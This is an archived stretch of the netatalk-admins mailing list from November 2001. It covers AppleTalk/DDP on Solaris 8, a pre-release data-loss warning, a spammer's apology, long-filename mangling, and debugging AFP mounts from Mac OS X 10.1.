Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi

Thank for the tip. I think my current problem with Netatalk not broadcasting
may be to do the ddp not working
under sparc64 solaris8.

Can anyone tell me where I can get 2.1.4asun-pre39 source ? What is "pre39"
means here? I don't have SUN CC
compiler. If I don't uncomment "sparc64=true" in  source/sys/solaris/Makefile,
Will ddp compile using gcc ?

Looking forward for your reply !

Hauke Fath wrote:

> At 11:09 Uhr +0000 14.11.2001, Matthew Hallam wrote:
> >So am I right in thinking that nobody has managed to get DDP working under
> >Solaris 8 ? (only AppleTalk over IP)
>
> -- on sparc64, apparently.
>
> 2.1.4asun-pre39 works fine for me on a ss10 with Solarin 8.
>
>         hauke
> --
> Hauke Fath                        tangro software components GmbH
>                                          D-69115 Heidelberg
> hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

--
Xiaping Lin
Information Technology
Queensland Institute of Medical Research
E-mail: xiapingL@qimr.edu.au
Ph:    61-7-33620231
fax:   61-7-33620111



From netatalk.administrators-errors@umich.edu  Thu Nov 15 03:20:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA24649
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 03:20:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA26798
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 03:20:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA26777
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 03:20:54 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA26712
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 03:20:52 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA18134;
	Thu, 15 Nov 2001 09:42:24 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 15 Nov 2001 09:23:33 +0100
Subject: Re: [Fwd: Solaris 8 and DDP]
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Xiaping Lin <xiapingL@qimr.edu.au>
CC: <netatalk-admins@umich.edu>
Message-ID: <B8193A14.1492B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3BF30A8B.29ABDE89@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 15 Nov 2001 10:21:31 +1000, Xiaping Lin wrote:

> I think my current problem with Netatalk not broadcasting may be to do the ddp
> not working under sparc64 solaris8.

There are know issues with some network hardware originally manufactured by
sun. Quad-FastEthernet-cards for example were known to not support multicast
correctly. This affected other afp-/appletalk-stacks (like helios'
ethershare) also. (the differences between broadcasting and multicasting are
explained here for example: <http://www.pmg.com/otw_nwsl/96_sm_apple.htm>)

> Can anyone tell me where I can get 2.1.4asun-pre39 source ?

Take a look at: <ftp://ftp.cobaltnet.com/pub/users/asun/testing/>

> What is "pre39" means here?

It's a pre-release, not for production purposes. Search google for "asun
pre" (and mix it with "cobalt" and "netatalk" too) and read this article
<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/0297.html> to find
out what you will get ;-)

Be careful when using pre39. There the "persistent DID kludge" was invoked
to create fixed directory ids instead of incrementing them on a per-client
base. But this hack is known to produce data-loss under some circumstances
(duplicate DIDs).

<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3251.html>
<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3325.html>

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Nov 15 08:04:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02753
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 08:04:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA23241
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 08:04:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA23234
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 08:04:47 -0500 (EST)
Received: from mail.mediamatic.nl (mark.mediamatic.nl [194.109.8.128] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA23220
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 08:04:46 -0500 (EST)
Received: from [194.109.8.191] (account ralph HELO mediamatic.nl)
  by mail.mediamatic.nl (CommuniGate Pro SMTP 3.4.3)
  with ESMTP id 270228 for netatalk-admins@umich.edu; Thu, 15 Nov 2001 14:04:45 +0100
Sender: ralph@kingcreole.mr.itd.umich.edu
Message-ID: <3BF3BD38.A13645B@mediamatic.nl>
Date: Thu, 15 Nov 2001 14:03:52 +0100
From: Ralph de Rijke <ralph@mediamatic.nl>
Organization: Mediamatic IP
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk <netatalk-admins@umich.edu>
Subject: [Fwd: European Water Management News]: spam stopped
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi everyone,

Before you all flame this guy, he's stopped...

Greets

Ralph de Rijke
Amsterdam

==========

Ralph de Rijke wrote:
> 
> Hi Jan,
> 
> Apology gratefully accepted! It's not often one hears it given so
> quickly and sincerely. In fact, yours is the first ever. I may have to
> frame it... :-)
> 
> Regards,
> 
> Ralph
> 
> ==========
> 
> Jan van de Kraats wrote:
> >
> > Dear Ralph,
> >
> > Something went very wrong. I tried an extractor to extract addresses of
> > water experts from water sites, so avoiding the manual picking I did before.
> > Obviously this is a very bad method. People not water experts are also
> > present on these sites.I will remove this software immediately and stop any
> > form of bulk mailing for "advertising".
> > My sincere apologies,
> > J A van de Kraats
> >
> > -----Oorspronkelijk bericht-----
> > Van: ralph@borg.kabelfoon.nl [mailto:ralph@borg.kabelfoon.nl]Namens
> > Ralph de Rijke
> > Verzonden: donderdag 15 november 2001 12:26
> > Aan: jan.van.de.kraats@kabelfoon.nl
> > Onderwerp: Re: European Water Management News
> >
> > Dear Jan,
> >
> > The netatalk mailing list (a private sysadmin discussion group) has
> > absolutely nothing whatsoever to do with European water management,
> > research, policy, or the industry.
> >
> > Such, evidently, are the risks of using third-party email databases.
> >
> > I am not in a position to have our name removed from your supplier's
> > source list, since I do not know who your supplier is and you are not
> > obliged to tell me. Nevertheless, I would insist that you remove the
> > Mediamatic email address from whatever lists you currently employ to
> > send such notifications in the future.
> >
> > Thank you.
> >
> > Ralph de Rijke
> > Mediamatic Sysop
> >
> > ==============
> >
> > J A van de Kraats wrote:
> > >
> > > Dear Colleague,
> > >
> > > Our journal, European Water Management, the official journal of the
> > European Water Association (EWA), has started a free e-mail news service.
> > >
> > > If you subscribe, you get weekly a mail with press releases, etc.
> > concerning water (management, research, policy, industry, etc.).
> > >
> > > It is completely free for all people working in the water sector in its
> > broadest sense.
> > >
> > > Older issues of the news are available at www.riza.nl (click on European
> > Water Management News). You can visit this site to get an idea what you will
> > get and if this is useful for you. You can subscribe via this site, but you
> > can subscribe too by sending me at jan.van.de.kraats@kabelfoon.nl a mail
> > with in the subject line "Subscribe European Water Management News."
> > >
> > > Unsubscribing later is as easy, just send me a mail with "Unsubscribe
> > European Water Management News" in the subject line.
> > > I am looking forward to your answer.
> > >
> > > Best regards,
> > > Jan van de Kraats
> > > Institute for Inland Water Treatment and Waste Water Treatment (RIZA)
> > >
> > > European Water Management
> > > Official Journal of the European Water Association (EWA)
> > > Editor-in-Chief
> > > Drs J A van de Kraats
> > > Institute for Inland Water Management
> > > and Waste Water Treatment (RIZA)
> > > PO Box 17
> > > 8200 AA Lelystad
> > > The Netherlands
> > > Tel +31 320 298 793
> > > Fax +31 320 280883
> > > E-mail j.vdkraats@riza.rws.minvenw.nl
> > > Private Fax +15308844520
> > > Private E-mail jan.van.de.kraats@kabelfoon.nl
> > >
> > > Drs Jan A van de Kraats
> > > Editor-in-Chief European Water Management
> > > INSTITUTE FOR INLAND WATER MANAGEMENT
> > > AND WASTE WATER TREATMENT(RIZA)
> > > Lelystad,
> > > The Netherlands
> > > jan.van.de.kraats@kabelfoon.nl
> > > www.riza.nl
> >
> > --
> > Ralph de Rijke, Linux System Administrator
> > Mediamatic IP, Prins Hendrikkade 192, Amsterdam
> > Postbus 17490, 1001 JL Amsterdam / www.mediamatic.nl
> >
> > "The world is now too dangerous for anything less than Utopia."
> > R. Buckminster Fuller
> > ---
> > Incoming mail is certified Virus Free.
> > Checked by AVG anti-virus system (http://www.grisoft.com).
> > Version: 6.0.293 / Virus Database: 158 - Release Date: 29-10-2001
> >
> > ---
> > Outgoing mail is certified Virus Free.
> > Checked by AVG anti-virus system (http://www.grisoft.com).
> > Version: 6.0.293 / Virus Database: 158 - Release Date: 29-10-2001
> 
> --
> Ralph de Rijke, Linux System Administrator
> Mediamatic IP, Prins Hendrikkade 192, Amsterdam
> Postbus 17490, 1001 JL Amsterdam / www.mediamatic.nl
> 
> "The world is now too dangerous for anything less than Utopia."
> R. Buckminster Fuller

-- 
Ralph de Rijke, Linux System Administrator
Mediamatic IP, Prins Hendrikkade 192, Amsterdam
Postbus 17490, 1001 JL Amsterdam / www.mediamatic.nl

"The world is now too dangerous for anything less than Utopia." 
R. Buckminster Fuller

From netatalk.administrators-errors@umich.edu  Thu Nov 15 08:55:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA04417
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 08:55:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA05865
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 08:55:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA05844
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 08:55:44 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA05814
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 08:55:43 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Thu, 15 Nov 2001 08:55:42 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100301b81975d6db50@[192.168.42.39]>
Date: Thu, 15 Nov 2001 08:55:36 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: any progress on long filenames?
Content-Type: text/plain; charset="us-ascii"

i have read here before of the reasoning behind netatalk "skipping over" files with long filenames for better support of classic mac clients, thus limiting filenames to be shared to 32 characters (bla bla 32 bytes bla bla)

is there anywhere in the development tree or in the planning for future releases a mechanism to mangle long filenames to 32 chars, similar to what samba does for dos clients (8.3) or what OS X does when working with OS 9 (which should be well documented at apple, but uses some reference to the disk sector the file sits on to ensure unique filenames post-mangling)

i'd love if it were an option to be able to turn on or off name mangling vs. name dropping, since some older mc os versions are going to handle things better than newer versions, i suppose.

anyhow, i ask because i share a central linux server with macs via netatalk and windows users via samba, and the windows users tend to name their files very long and descriptive names, just to tick me off.

From netatalk.administrators-errors@umich.edu  Thu Nov 15 09:41:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA06213
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 09:41:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA20545
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 09:41:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA20528
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 09:41:03 -0500 (EST)
Received: from s14.mcn.mc (s14.mcn.mc [194.133.11.14])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA20446
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 09:41:00 -0500 (EST)
Received: from [192.168.244.177] (gw.binuscan.com [195.101.216.90])
	by s14.mcn.mc (8.12.1/8.12.1) with ESMTP id fAFEeu12018142
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:40:57 +0100 (MET)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 15 Nov 2001 15:42:41 +0100
Subject: Can't connect from OSX10.1
From: Bruno LEDOUX <bruno_ledoux@binuscan.com>
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B81992F1.8F4A%bruno_ledoux@binuscan.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

Thanks to information found on this list I was able to build and install
1.5pre8 on RH7.1. It is working fairly well with old mac clients running
OS9.0.4 or OS8.6 but I can't manage to connect to the linux box from OSX
10.1: I can browse network and see the linux box, I can select it and enter
login/password to I shows me the list of shared disk but when I try to mount
one it fails. 

Any hints ?

bruno 


From netatalk.administrators-errors@umich.edu  Thu Nov 15 11:47:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA11627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 11:47:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA01275
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 11:47:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA01267
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 11:47:08 -0500 (EST)
Received: from smtp03.retemail.es (smtp03.iddeo.es [62.81.186.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA01224
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 11:47:06 -0500 (EST)
Received: from mac.com ([62.175.32.57]) by smtp03.retemail.es
          (InterMail vM.5.01.03.02 201-253-122-118-102-20010403) with ESMTP
          id <20011115164705.JDMW10113.smtp03.retemail.es@mac.com>
          for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 17:47:05 +0100
Message-ID: <3BF3F187.1030402@mac.com>
Date: Thu, 15 Nov 2001 17:47:03 +0100
From: Jason Quigley <jasonq@mac.com>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.5+) Gecko/20011114
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: any progress on long filenames?
References: <f05100301b81975d6db50@[192.168.42.39]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

It would be good if this was done in conjunction with the CNID database.

i.e. XXXXXXXXXXXXXXXXXXXX9999999999

Charles Mangin wrote:

 > i have read here before of the reasoning behind netatalk "skipping
 > over" files with long filenames for better support of classic mac
 > clients, thus limiting filenames to be shared to 32 characters (bla
 >  bla 32 bytes bla bla)
 >
 > is there anywhere in the development tree or in the planning for
 > future releases a mechanism to mangle long filenames to 32 chars,
 > similar to what samba does for dos clients (8.3) or what OS X does
 > when working with OS 9 (which should be well documented at apple,
 > but uses some reference to the disk sector the file sits on to
 > ensure unique filenames post-mangling)
 >
 > i'd love if it were an option to be able to turn on or off name
 > mangling vs. name dropping, since some older mc os versions are
 > going to handle things better than newer versions, i suppose.
 >
 > anyhow, i ask because i share a central linux server with macs via
 > netatalk and windows users via samba, and the windows users tend to
 >  name their files very long and descriptive names, just to tick me
 > off.
 >
 >





From netatalk.administrators-errors@umich.edu  Thu Nov 15 12:33:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13873
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 12:33:27 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA04963
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 12:33:27 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA04956
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 12:33:26 -0500 (EST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA04912
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 12:33:24 -0500 (EST)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.11.3/8.11.3) with ESMTP id fAFHXOu06977
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 09:33:24 -0800 (PST)
Received: from scv3.apple.com (scv3.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T573bc305e2118064e13fc@mailgate1.apple.com>;
 Thu, 15 Nov 2001 09:33:11 -0800
Received: from wallle (wallle.apple.com [17.221.40.211])
	by scv3.apple.com (8.11.3/8.11.3) with ESMTP id fAFHXNh09923;
	Thu, 15 Nov 2001 09:33:23 -0800 (PST)
Date: Thu, 15 Nov 2001 09:33:21 -0800
Subject: Re: Can't connect from OSX10.1
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: Leland Wallace <randall@apple.com>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
To: Bruno LEDOUX <bruno_ledoux@binuscan.com>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <B81992F1.8F4A%bruno_ledoux@binuscan.com>
Message-Id: <DDD4BBB8-D9EE-11D5-BC3D-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)

Hi Bruno,
  From the terminal in Mac OS X type:
   setenv AFP_DEBUG_LEVEL 8
   mkdir /Volumes/volname
  /sbin/mount -t afp afp://username:password@servername/volume 
/Volumes/volname

replacing username, password, servername, volume, and volname with your 
local names
The command should spew vast amounts of debugging info, send me the 
output (be sure to
x out the password before posting ;-) and I'll see what I can do.

Leland
AppleShare Client Lead

On Thursday, November 15, 2001, at 06:42 AM, Bruno LEDOUX wrote:

> Hi all,
>
> Thanks to information found on this list I was able to build and install
> 1.5pre8 on RH7.1. It is working fairly well with old mac clients running
> OS9.0.4 or OS8.6 but I can't manage to connect to the linux box from OSX
> 10.1: I can browse network and see the linux box, I can select it and 
> enter
> login/password to I shows me the list of shared disk but when I try to 
> mount
> one it fails.
>
> Any hints ?
>
> bruno
>
>
+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Thu Nov 15 13:15:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA15893
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 13:15:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA02630
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 13:15:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA02608
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 13:15:05 -0500 (EST)
Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA02385
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 13:15:04 -0500 (EST)
Received: from [128.104.100.130] by mail5.doit.wisc.edu
          id MAA39254 (8.9.1/50); Thu, 15 Nov 2001 12:14:52 -0600
Date: Thu, 15 Nov 2001 12:15:31 -0600
Subject: Re: Can't connect from OSX10.1
Content-Type: multipart/mixed; boundary=Apple-Mail-4--376355537
Mime-Version: 1.0 (Apple Message framework v472)
Cc: Bruno LEDOUX <bruno_ledoux@binuscan.com>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
To: Leland Wallace <randall@apple.com>
From: Henry Zeringue <hzeringu@mmb.bme.wisc.edu>
In-Reply-To: <DDD4BBB8-D9EE-11D5-BC3D-000A279495A2@apple.com>
Message-Id: <C17CCEEE-D9F4-11D5-BE95-003065F599A6@mmb.bme.wisc.edu>
X-Mailer: Apple Mail (2.472)


--Apple-Mail-4--376355537
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed


I too am having trouble "connecting" under OSX 10.1 to netatalk 
1.5pre2-6 on RH7.1

I when I try to use the dialog box connector I get disconnected after 
choosing the volume to connect to.

>   mkdir /Volumes/volname
>  /sbin/mount -t afp afp://username:password@servername/volume 
> /Volumes/volname

I just tried the above command and I connected fine (I can go into my 
/Volumes/volname directory and view my files on the server).

So how do I get OSX 10.1 to recognize this as another mounted volume on 
my computer? Presently I can only see it through the terminal window, if 
I open up a new finder, it doesn't show up as a mounted volume.

Thanks for all the great work with this program. My lab has been relying 
on netatalk for almost 2 years now for data retrieval, sharing and 
backup.

--------------------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Mobile:	(608)239-2168
1410 Engineering Dr.	Office:	(608)262-8212
Madison, WI 53706-1608	Lab:	(608)262-3013
hzeringu@cae.wisc.edu	Fax:	(608)265-9239
---------------------------------------------------------

--Apple-Mail-4--376355537
Content-Disposition: attachment;
	filename="Henry Zeringue.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Type: text/directory;
	x-unix-mode=0644;
	name="Henry Zeringue.vcf"

BEGIN:vCard=0D
VERSION:2.1=0D
FN:Henry Zeringue=0D
N:Zeringue;Henry=0D
ADD:Biomedical Engineering;1410 Engineering Dr.;Madison;WI;53706;=0D
TEL;WORK:608-262-3013=0D
TEL;CELL:608-239-2168=0D
EMAIL;INTERNET:hzeringu@cae.wisc.edu=0D
ORG:UW - Madison=0D
END:vCard=

--Apple-Mail-4--376355537--


From netatalk.administrators-errors@umich.edu  Thu Nov 15 13:18:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA15978
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 13:18:23 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA07333
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 13:18:23 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA07322
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 13:18:22 -0500 (EST)
Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA07281
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 13:18:21 -0500 (EST)
Received: from [128.104.100.130] by mail5.doit.wisc.edu
          id MAA38600 (8.9.1/50); Thu, 15 Nov 2001 12:18:17 -0600
Date: Thu, 15 Nov 2001 12:18:57 -0600
Subject: Sorry - Re: Can't connect from OSX10.1
Content-Type: multipart/mixed; boundary=Apple-Mail-5--376150130
Mime-Version: 1.0 (Apple Message framework v472)
Cc: Bruno LEDOUX <bruno_ledoux@binuscan.com>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
To: Leland Wallace <randall@apple.com>
From: Henry Zeringue <hzeringu@mmb.bme.wisc.edu>
In-Reply-To: <DDD4BBB8-D9EE-11D5-BC3D-000A279495A2@apple.com>
Message-Id: <3BEB7572-D9F5-11D5-BE95-003065F599A6@mmb.bme.wisc.edu>
X-Mailer: Apple Mail (2.472)


--Apple-Mail-5--376150130
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed


Sorry, just realized I posted an OSX question to the group. My 
apologies .

On Thursday, November 15, 2001, at 11:33 AM, Leland Wallace wrote:

> Hi Bruno,
>  From the terminal in Mac OS X type:
>   setenv AFP_DEBUG_LEVEL 8
>   mkdir /Volumes/volname
>  /sbin/mount -t afp afp://username:password@servername/volume 
> /Volumes/volname
>
> replacing username, password, servername, volume, and volname with your 
> local names
> The command should spew vast amounts of debugging info, send me the 
> output (be sure to
> x out the password before posting ;-) and I'll see what I can do.
>
> Leland
> AppleShare Client Lead
>
> On Thursday, November 15, 2001, at 06:42 AM, Bruno LEDOUX wrote:
>
>> Hi all,
>>
>> Thanks to information found on this list I was able to build and 
>> install
>> 1.5pre8 on RH7.1. It is working fairly well with old mac clients 
>> running
>> OS9.0.4 or OS8.6 but I can't manage to connect to the linux box from 
>> OSX
>> 10.1: I can browse network and see the linux box, I can select it and 
>> enter
>> login/password to I shows me the list of shared disk but when I try to 
>> mount
>> one it fails.
>>
>> Any hints ?
>>
>> bruno
>>
>>
> +-----------------------------------------------------------------------------------
> Leland Wallace           Working in            AppleShare Engineering
> randall@apple.com    but not speaking for      Apple Computer Inc.
> http://www2.inow.com/~randall
> +-----------------------------------------------------------------------------------
>
--------------------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Mobile:	(608)239-2168
1410 Engineering Dr.	Office:	(608)262-8212
Madison, WI 53706-1608	Lab:	(608)262-3013
hzeringu@cae.wisc.edu	Fax:	(608)265-9239
---------------------------------------------------------

--Apple-Mail-5--376150130
Content-Disposition: attachment;
	filename="Henry Zeringue.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Type: text/directory;
	x-unix-mode=0644;
	name="Henry Zeringue.vcf"

BEGIN:vCard=0D
VERSION:2.1=0D
FN:Henry Zeringue=0D
N:Zeringue;Henry=0D
ADD:Biomedical Engineering;1410 Engineering Dr.;Madison;WI;53706;=0D
TEL;WORK:608-262-3013=0D
TEL;CELL:608-239-2168=0D
EMAIL;INTERNET:hzeringu@cae.wisc.edu=0D
ORG:UW - Madison=0D
END:vCard=

--Apple-Mail-5--376150130--


From netatalk.administrators-errors@umich.edu  Thu Nov 15 15:30:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23468
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 15:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA12487
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 15:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA12472
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 15:30:06 -0500 (EST)
Received: from scnc.saline.k12.mi.us (saline.k12.mi.us [204.38.171.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA12460
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:30:05 -0500 (EST)
Received: from localhost ([204.38.171.153])
	by scnc.saline.k12.mi.us (8.10.2/8.10.2) with ESMTP id fAFKR5J65135
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:27:05 -0500 (EST)
Date: Thu, 15 Nov 2001 15:29:59 -0500
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
